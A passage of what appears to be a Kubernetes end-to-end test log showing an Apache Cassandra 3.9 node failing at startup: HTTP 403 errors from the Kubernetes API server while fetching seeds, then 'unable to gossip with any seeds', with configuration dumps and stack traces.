rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@23529fee; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000 \ info  22:55:33 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap\ info  22:55:33 global memtable on-heap threshold is enabled at 128mb\ info  22:55:33 global memtable off-heap threshold is enabled at 128mb\ info  22:55:34 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ info  22:55:34 overriding ring_delay to 30000ms\ warn  22:55:34 request to kubernetes apiserver failed, using default seeds in cassandra.yaml\ java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1474  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111 \ \\tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na \ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:784   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ info  22:55:34 hostname: cassandra-nl4wx\ info  22:55:34 jvm vendor/version: openjdk 64-bit server vm/1.8.0_111\ info  22:55:34 heap size: 512.000mib/512.000mib\ info  22:55:34 code cache non-heap memory: init = 2555904 2496k  used = 4153536 4056k  committed = 4194304 4096k  max = 251658240 245760k \ info  22:55:34 metaspace non-heap memory: init = 0 0k  used = 17205400 16802k  committed = 17694720 17280k  max = -1 -1k \ info  22:55:34 compressed class space non-heap memory: init = 0 0k  used = 2066328 2017k  committed = 2228224 2176k  max = 1073741824 1048576k \ info  22:55:34 g1 eden space heap memory: init = 28311552 27648k  used = 26214400 25600k  committed = 32505856 31744k  max = -1 -1k \ info  22:55:34 g1 survivor space heap memory: init = 0 0k  used = 4194304 4096k  committed = 4194304 4096k  max = -1 -1k \ info  22:55:34 g1 old gen heap memory: init = 508559360 496640k  used = 1149440 1122k  committed = 508559360 496640k  max = 536870912 524288k \ info  22:55:34 classpath: /kubernetes-cassandra.jar:/etc/cassandra:/usr/share/cassandra/lib/hdrhistogram-2.1.9.jar:/usr/share/cassandra/lib/st4-4.0.8.jar:/usr/share/cassandra/lib/airline-0.6.jar:/usr/share/cassandra/lib/antlr-runtime-3.5.2.jar:/usr/share/cassandra/lib/asm-5.0.4.jar:/usr/share/cassandra/lib/caffeine-2.2.6.jar:/usr/share/cassandra/lib/cassandra-driver-core-3.0.1-shaded.jar:/usr/share/cassandra/lib/commons-cli-1.1.jar:/usr/share/cassandra/lib/commons-codec-1.2.jar:/usr/share/cassandra/lib/commons-lang3-3.1.jar:/usr/share/cassandra/lib/commons-math3-3.2.jar:/usr/share/cassandra/lib/compress-lzf-0.8.4.jar:/usr/share/cassandra/lib/concurrent-trees-2.4.0.jar:/usr/share/cassandra/lib/concurrentlinkedhashmap-lru-1.4.jar:/usr/share/cassandra/lib/disruptor-3.0.1.jar:/usr/share/cassandra/lib/ecj-4.4.2.jar:/usr/share/cassandra/lib/guava-18.0.jar:/usr/share/cassandra/lib/high-scale-lib-1.0.6.jar:/usr/share/cassandra/lib/hppc-0.5.4.jar:/usr/share/cassandra/lib/jackson-core-asl-1.9.2.jar:/usr/share/cassandra/lib/jackson-mapper-asl-1.9.2.jar:/usr/share/cassandra/lib/jamm-0.3.0.jar:/usr/share/cassandra/lib/javax.inject.jar:/usr/share/cassandra/lib/jbcrypt-0.3m.jar:/usr/share/cassandra/lib/jcl-over-slf4j-1.7.7.jar:/usr/share/cassandra/lib/jflex-1.6.0.jar:/usr/share/cassandra/lib/jna-4.0.0.jar:/usr/share/cassandra/lib/joda-time-2.4.jar:/usr/share/cassandra/lib/json-simple-1.1.jar:/usr/share/cassandra/lib/libthrift-0.9.2.jar:/usr/share/cassandra/lib/log4j-over-slf4j-1.7.7.jar:/usr/share/cassandra/lib/logback-classic-1.1.3.jar:/usr/share/cassandra/lib/logback-core-1.1.3.jar:/usr/share/cassandra/lib/lz4-1.3.0.jar:/usr/share/cassandra/lib/metrics-core-3.1.0.jar:/usr/share/cassandra/lib/metrics-jvm-3.1.0.jar:/usr/share/cassandra/lib/metrics-logback-3.1.0.jar:/usr/share/cassandra/lib/netty-all-4.0.39.final.jar:/usr/share/cassandra/lib/ohc-core-0.4.3.jar:/usr/share/cassandra/lib/ohc-core-j8-0.4.3.jar:/usr/share/cassandra/lib/primitive-1.0.jar:/usr/share/cassandra/lib/reporter-config-base-3.0.0.jar:/usr/share/cassandra/lib/reporter-config3-3.0.0.jar:/usr/share/cassandra/lib/sigar-1.6.4.jar:/usr/share/cassandra/lib/slf4j-api-1.7.7.jar:/usr/share/cassandra/lib/snakeyaml-1.11.jar:/usr/share/cassandra/lib/snappy-java-1.1.1.7.jar:/usr/share/cassandra/lib/snowball-stemmer-1.3.0.581.1.jar:/usr/share/cassandra/lib/stream-2.5.2.jar:/usr/share/cassandra/lib/thrift-server-0.3.7.jar:/usr/share/cassandra/apache-cassandra-3.9.jar:/usr/share/cassandra/apache-cassandra-thrift-3.9.jar:/usr/share/cassandra/apache-cassandra.jar:/usr/share/cassandra/stress.jar::/usr/share/cassandra/lib/jamm-0.3.0.jar\ info  22:55:34 jvm arguments:  -xloggc:/var/log/cassandra/gc.log, -ea, -xx:+usethreadpriorities, -xx:threadprioritypolicy=42, -xx:+heapdumponoutofmemoryerror, -xss256k, -xx:stringtablesize=1000003, -xx:+alwayspretouch, -xx:-usebiasedlocking, -xx:+usetlab, -xx:+resizetlab, -xx:+perfdisablesharedmem, -djava.net.preferipv4stack=true, -xx:+useg1gc, -xx:g1rsetupdatingpausetimepercent=5, -xx:+printgcdetails, -xx:+printgcdatestamps, -xx:+printheapatgc, -xx:+printtenuringdistribution, -xx:+printgcapplicationstoppedtime, -xx:+printpromotionfailure, -xx:+usegclogfilerotation, -xx:numberofgclogfiles=10, -xx:gclogfilesize=10m, -dcassandra.migration_task_wait_in_seconds=1, -dcassandra.ring_delay_ms=30000, -xms512m, -xmx512m, -xx:compilecommandfile=/etc/cassandra/hotspot_compiler, -javaagent:/usr/share/cassandra/lib/jamm-0.3.0.jar, -dcassandra.jmx.local.port=7199, -dcom.sun.management.jmxremote.authenticate=false, -dcom.sun.management.jmxremote.password.file=/etc/cassandra/jmxremote.password, -djava.library.path=/usr/share/cassandra/lib/sigar-bin, -djava.rmi.server.hostname=10.180.1.8, -dcassandra.libjemalloc=/usr/lib/x86_64-linux-gnu/libjemalloc.so.1, -dlogback.configurationfile=logback.xml, -dcassandra.logdir=/var/log/cassandra, -dcassandra.storagedir=/var/lib/cassandra, -dcassandra-foreground=yes \ warn  22:55:34 unable to lock jvm memory  enomem . this can result in part of the jvm being swapped out, especially with mmapped i/o enabled. increase rlimit_memlock or run cassandra as root.\ info  22:55:34 jemalloc seems to be preloaded from /usr/lib/x86_64-linux-gnu/libjemalloc.so.1\ warn  22:55:34 jmx is not enabled to receive remote connections. please see cassandra-env.sh for more info.\ warn  22:55:34 openjdk is not recommended. please upgrade to the newest oracle java release\ info  22:55:34 initializing sigar library\ warn  22:55:34 cassandra server running in degraded mode. is swap disabled? : true,  address space adequate? : true,  nofile limit adequate? : true, nproc limit adequate? : false \ warn  22:55:34 directory /var/lib/cassandra/hints doesn't exist\ info  22:55:34 initialized prepared statement caches with 10 mb  native  and 10 mb  thrift \ info  22:55:35 initializing system.indexinfo\ info  22:55:36 initializing system.batches\ info  22:55:36 initializing system.paxos\ info  22:55:36 initializing system.local\ info  22:55:36 global buffer pool is enabled, when pool is exhausted  max is 128.000mib  it will allocate on heap\ info  22:55:37 initializing key cache with capacity of 25 mbs.\ info  22:55:37 initializing row cache with capacity of 0 mbs\ info  22:55:37 initializing counter cache with capacity of 12 mbs\ info  22:55:37 scheduling counter cache save to every 7200 seconds  going to save all keys .\ info  22:55:37 initializing system.peers\ info  22:55:37 initializing system.peer_events\ info  22:55:37 initializing system.range_xfers\ info  22:55:37 initializing system.compaction_history\ info  22:55:37 initializing system.sstable_activity\ info  22:55:37 initializing system.size_estimates\ info  22:55:37 initializing system.available_ranges\ info  22:55:37 initializing system.views_builds_in_progress\ info  22:55:37 initializing system.built_views\ info  22:55:37 initializing system.hints\ info  22:55:37 initializing system.batchlog\ info  22:55:37 initializing system.schema_keyspaces\ info  22:55:37 initializing system.schema_columnfamilies\ info  22:55:37 initializing system.schema_columns\ info  22:55:37 initializing system.schema_triggers\ info  22:55:37 initializing system.schema_usertypes\ info  22:55:37 initializing system.schema_functions\ info  22:55:37 initializing system.schema_aggregates\ info  22:55:37 not submitting build tasks for views in keyspace system as storage service is not initialized\ info  22:55:37 configured jmx server at: service:jmx:rmi://127.0.0.1/jndi/rmi://127.0.0.1:7199/jmxrmi\ info  22:55:38 populating token metadata from system tables\ info  22:55:38 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ warn  22:55:38 request to kubernetes apiserver failed, using default seeds in cassandra.yaml\ java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111 \ \\tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na \ \\tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.shouldbootstrap storageservice.java:721   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.populatetokenmetadata storageservice.java:537   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:257   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ info  22:55:38 token metadata: \ info  22:55:38 initializing system_schema.keyspaces\ info  22:55:39 initializing system_schema.tables\ info  22:55:39 initializing system_schema.columns\ info  22:55:39 initializing system_schema.triggers\ info  22:55:39 initializing system_schema.dropped_columns\ info  22:55:39 initializing system_schema.views\ info  22:55:39 initializing system_schema.types\ info  22:55:39 initializing system_schema.functions\ info  22:55:39 initializing system_schema.aggregates\ info  22:55:39 initializing system_schema.indexes\ info  22:55:39 not submitting build tasks for views in keyspace system_schema as storage service is not initialized\ info  22:55:39 completed loading  2 ms; 2 keys  keycache cache\ info  22:55:39 replaying /cassandra_data/commitlog/commitlog-6-1483829606591.log, /cassandra_data/commitlog/commitlog-6-1483829606592.log\ info  22:55:41 log replay complete, 92 replayed mutations\ info  22:55:41 populating token metadata from system tables\ info  22:55:41 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ warn  22:55:41 request to kubernetes apiserver failed, using default seeds in cassandra.yaml\ java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111 \ \\tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na \ \\tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.shouldbootstrap storageservice.java:721   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.populatetokenmetadata storageservice.java:537   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:331   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ info  22:55:41 token metadata: \ info  22:55:41 cassandra version: 3.9\ info  22:55:41 thrift api version: 20.1.0\ info  22:55:41 cql supported versions: 3.4.2  default: 3.4.2 \ info  22:55:41 initializing index summary manager with a memory pool size of 25 mb and a resize interval of 60 minutes\ info  22:55:41 starting messaging service on /10.180.1.8:7000  eth0 \ info  22:55:41 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ warn  22:55:41 request to kubernetes apiserver failed, using default seeds in cassandra.yaml\ java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111 \ \\tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na \ \\tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.gms.gossiper.buildseedslist gossiper.java:1402   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1347   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ info  22:56:12 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ warn  22:56:12 request to kubernetes apiserver failed, using default seeds in cassandra.yaml\ java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra\ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.access$200 httpurlconnection.java:91  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1466  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection$9.run httpurlconnection.java:1464  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivileged native method  ~ na:1.8.0_111 \ \\tat java.security.accesscontroller.doprivilegedwithcombiner accesscontroller.java:782  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1463  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111 \ \\tat io.k8s.cassandra.kubernetesseedprovider.getseeds kubernetesseedprovider.java:132  ~ kubernetes-cassandra.jar:na \ \\tat org.apache.cassandra.config.databasedescriptor.getseeds databasedescriptor.java:1475   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1385   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ exception  java.lang.runtimeexception  encountered during startup: unable to gossip with any seeds\ java.lang.runtimeexception: unable to gossip with any seeds\ \\tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1386 \ \\tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484 \ \\tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548 \ \\tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730 \ error 22:56:12 exception encountered during startup\ java.lang.runtimeexception: unable to gossip with any seeds\ \\tat org.apache.cassandra.gms.gossiper.doshadowround gossiper.java:1386  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.checkforendpointcollision storageservice.java:484  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.preparetojoin storageservice.java:778  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:648  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.storageservice.initserver storageservice.java:548  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.setup cassandradaemon.java:385   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:601   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ warn  22:56:12 no local state or state is in silent shutdown, not announcing shutdown\ info  22:56:12 waiting for messaging service to quiesce\ info  22:56:12 messagingservice has terminated the accept   thread\ info  22:56:12 paused hints dispatch\ info  22:56:12 paused hints dispatch\ \\\ \ ,     }     failed to find \ starting listening for cql clients\ , last result: \ starting cassandra on 10.180.1.8     cassandra_conf_dir /etc/cassandra     cassandra_cfg /etc/cassandra/cassandra.yaml     cassandra_auto_bootstrap true     cassandra_broadcast_address 10.180.1.8     cassandra_broadcast_rpc_address 10.180.1.8     cassandra_cluster_name 'test cluster'     cassandra_compaction_throughput_mb_per_sec     cassandra_concurrent_compactors     cassandra_concurrent_reads     cassandra_concurrent_writes     cassandra_counter_cache_size_in_mb     cassandra_dc     cassandra_disk_optimization_strategy ssd     cassandra_endpoint_snitch simplesnitch     cassandra_gc_warn_threshold_in_ms     cassandra_internode_compression     cassandra_key_cache_size_in_mb     cassandra_listen_address 10.180.1.8     cassandra_listen_interface     cassandra_memtable_allocation_type     cassandra_memtable_cleanup_threshold     cassandra_memtable_flush_writers     cassandra_migration_wait 1     cassandra_num_tokens 32     cassandra_rack     cassandra_ring_delay 30000     cassandra_rpc_address 0.0.0.0     cassandra_rpc_interface     cassandra_seeds     cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider     openjdk 64-bit server vm warning: cannot open file /var/log/cassandra/gc.log due to no such file or directory          info  22:55:33 configuration location: file:/etc/cassandra/cassandra.yaml     info  22:55:33 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.1.8; broadcast_rpc_address=10.180.1.8; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@43ee72e6; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=null; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.1.8; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@23529fee; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000      info  22:55:33 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap     info  22:55:33 global memtable on-heap threshold is enabled at 128mb     info  22:55:33 global memtable off-heap threshold is enabled at 128mb     info  22:55:34 getting endpoints from https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     info  22:55:34 overriding ring_delay to 30000ms     warn  22:55:34 request to kubernetes apiserver failed, using default seeds in cassandra.yaml     java.io.ioexception: server returned http response code: 403 for url: https://10.0.0.1:443/api/v1/namespaces/e2e-tests-examples-41nvh/endpoints/cassandra     \tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1474  ~ na:1.8.0_111      \tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111      \tat 